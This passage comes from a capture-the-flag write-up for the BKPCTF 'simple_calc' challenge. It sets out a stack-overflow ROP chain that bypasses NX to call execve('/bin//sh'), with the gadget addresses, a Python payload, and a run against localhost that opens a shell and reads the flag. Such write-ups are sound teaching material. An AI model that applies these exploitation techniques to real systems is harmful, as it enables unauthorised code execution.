    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;rn4XSOR.png&quot;

    

    
    title=&quot;gef&quot;
    alt=&quot;gef&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;However, the faulty instruction is in the &lt;code&gt;free()&lt;&#x2F;code&gt; following the &lt;code&gt;memcpy()&lt;&#x2F;code&gt; and
yet not in the return from the main function.
&lt;code&gt;free()&lt;&#x2F;code&gt; is trying to remove the chunk pointed by the value stored in $rdi (here
0x4444444444444444). However, a quick look in the man page (&lt;code&gt;man 3 free&lt;&#x2F;code&gt;) and we
find our solution:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The free() function frees the memory space pointed to by ptr,[…] If ptr is
NULL, no operation is performed.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;So let’s rebuild our stack accordingly:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;pwn&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    addrs = [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x42424242&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x43434343&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# overwritten vars
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x00000000&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x00000000&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# for free(NULL)
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# overwritten vars
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# sfp
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x45454545&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x45454545&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# rip
&lt;&#x2F;span&gt;&lt;span&gt;             ]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We try again, and we hit the SIGSEGV in the RET. Perfect, time to bypass NX.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;Program received signal SIGSEGV&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;Segmentation fault.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x40157c	 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;&amp;lt;main&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;505&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;&amp;gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;edi&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;eax
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x40157e	 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;&amp;lt;main&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;507&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;&amp;gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;call   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x4156d0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;&amp;lt;free&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x401583	 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;&amp;lt;main&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;512&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;&amp;gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;eax&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x0
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x401588	 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;&amp;lt;main&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;517&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;&amp;gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;leave
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x401589	 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;&amp;lt;main&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;518&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;&amp;gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;ret 		 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;← &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;pc
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x40158a	 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;nop    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;WORD PTR &lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax&lt;&#x2F;span&gt;&lt;span&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x401590	 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;&amp;lt;__libc_start_main&amp;gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;push   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;r14
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We want to have a shell (what else, right?) so we need all the gadgets to
syscall execve(‘&#x2F;bin&#x2F;sh’, 0, 0).&lt;&#x2F;p&gt;
&lt;p&gt;Bypassing NX is not that hard, all we need are the right gadgets. We choose a
writable address, and write ‘&#x2F;bin&#x2F;&#x2F;sh’ (we arbitrarily chose 0x6c3110 in the
&lt;code&gt;.bss&lt;&#x2F;code&gt;). Using &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;JonathanSalwan&#x2F;ROPgadget&quot;&gt;&lt;code&gt;ropgadget&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; makes
it easier than ever:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x401c87&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;:                  # &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;pop &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rsi&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; ; ret
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x6c3110&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;:                  # our writable address
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44db34&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;:                  # &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;pop &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; ; ret
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x6e69622f&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x68732f2f&lt;&#x2F;span&gt;&lt;span&gt;,    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;# &#x2F;bin&#x2F;&#x2F;sh
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x470f11                   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;qword ptr &lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rsi&lt;&#x2F;span&gt;&lt;span&gt;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; ; ret
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x447233&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;:                  # &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rsi&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;; ret
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x479295                   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;# &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;edi&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;eax&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; ; dec dword ptr [rax - 0x77] ; ret
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;At this stage, we have &lt;code&gt;&#x2F;bin&#x2F;&#x2F;sh&lt;&#x2F;code&gt; written @0x6c3110 and this address inside the
EDI register. Then we can use the gadget &lt;code&gt;0x437aa9: pop rdx ; pop rsi ; ret&lt;&#x2F;code&gt; to populate RSI and
RDX with 0. Because it embeds a libc, the binary is full of &lt;code&gt;syscall&lt;&#x2F;code&gt;
instructions, we’ll use the one at 0x435675.&lt;&#x2F;p&gt;
&lt;p&gt;We now have our full chain:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;pwn&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    addrs = [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x42424242&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x43434343&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# overwritten vars
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x00000000&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x00000000&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# for free(NULL)
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# last overwritten vars
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# sfp
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x401c87&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# pop rsi ; ret
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x6c3110&lt;&#x2F;span&gt;&lt;span&gt;,  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# addr rw
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44db34&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# pop rax ; ret
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x6e69622f&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x68732f2f&lt;&#x2F;span&gt;&lt;span&gt;,  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;#  &#x2F;bin&#x2F;&#x2F;sh
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x470f11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# mov qword ptr [rsi], rax ; ret
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x447233&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# mov    rax,rsi; ret
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x479295&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# mov edi, eax ; dec dword ptr [rax - 0x77] ; ret
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44db34&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# pop rax
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x3b&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# syscall_execve
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x437aa9&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# pop rdx ; pop rsi ; ret
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x435675&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# syscall()
&lt;&#x2F;span&gt;&lt;span&gt;    ]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Run and pwn !&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;&#x2F;cur&#x2F;simple_calc&lt;&#x2F;span&gt;&lt;span&gt; $ .&#x2F;simple_calc.py                                                                                                                                         &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;23:36&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Connected to localhost:5400
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Running 45 calculations
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Iter 1: got result 0x41414141
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Iter 2: got result 0x41414141
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Iter 3: got result 0x41414141
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Iter 4: got result 0x41414141
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Iter 5: got result 0x41414141
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Iter 6: got result 0x41414141
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Iter 7: got result 0x41414141
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Triggering exploit
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Got it, interacting (Ctrl-C to break)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Get a PTY with &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; python -c &amp;quot;import pty;pty.spawn(&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&#x2F;bin&#x2F;bash&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)&amp;quot;  &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ls
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;key
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;simple_calc
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span&gt; key
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;BKPCTF{what_is_2015_minus_7547&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
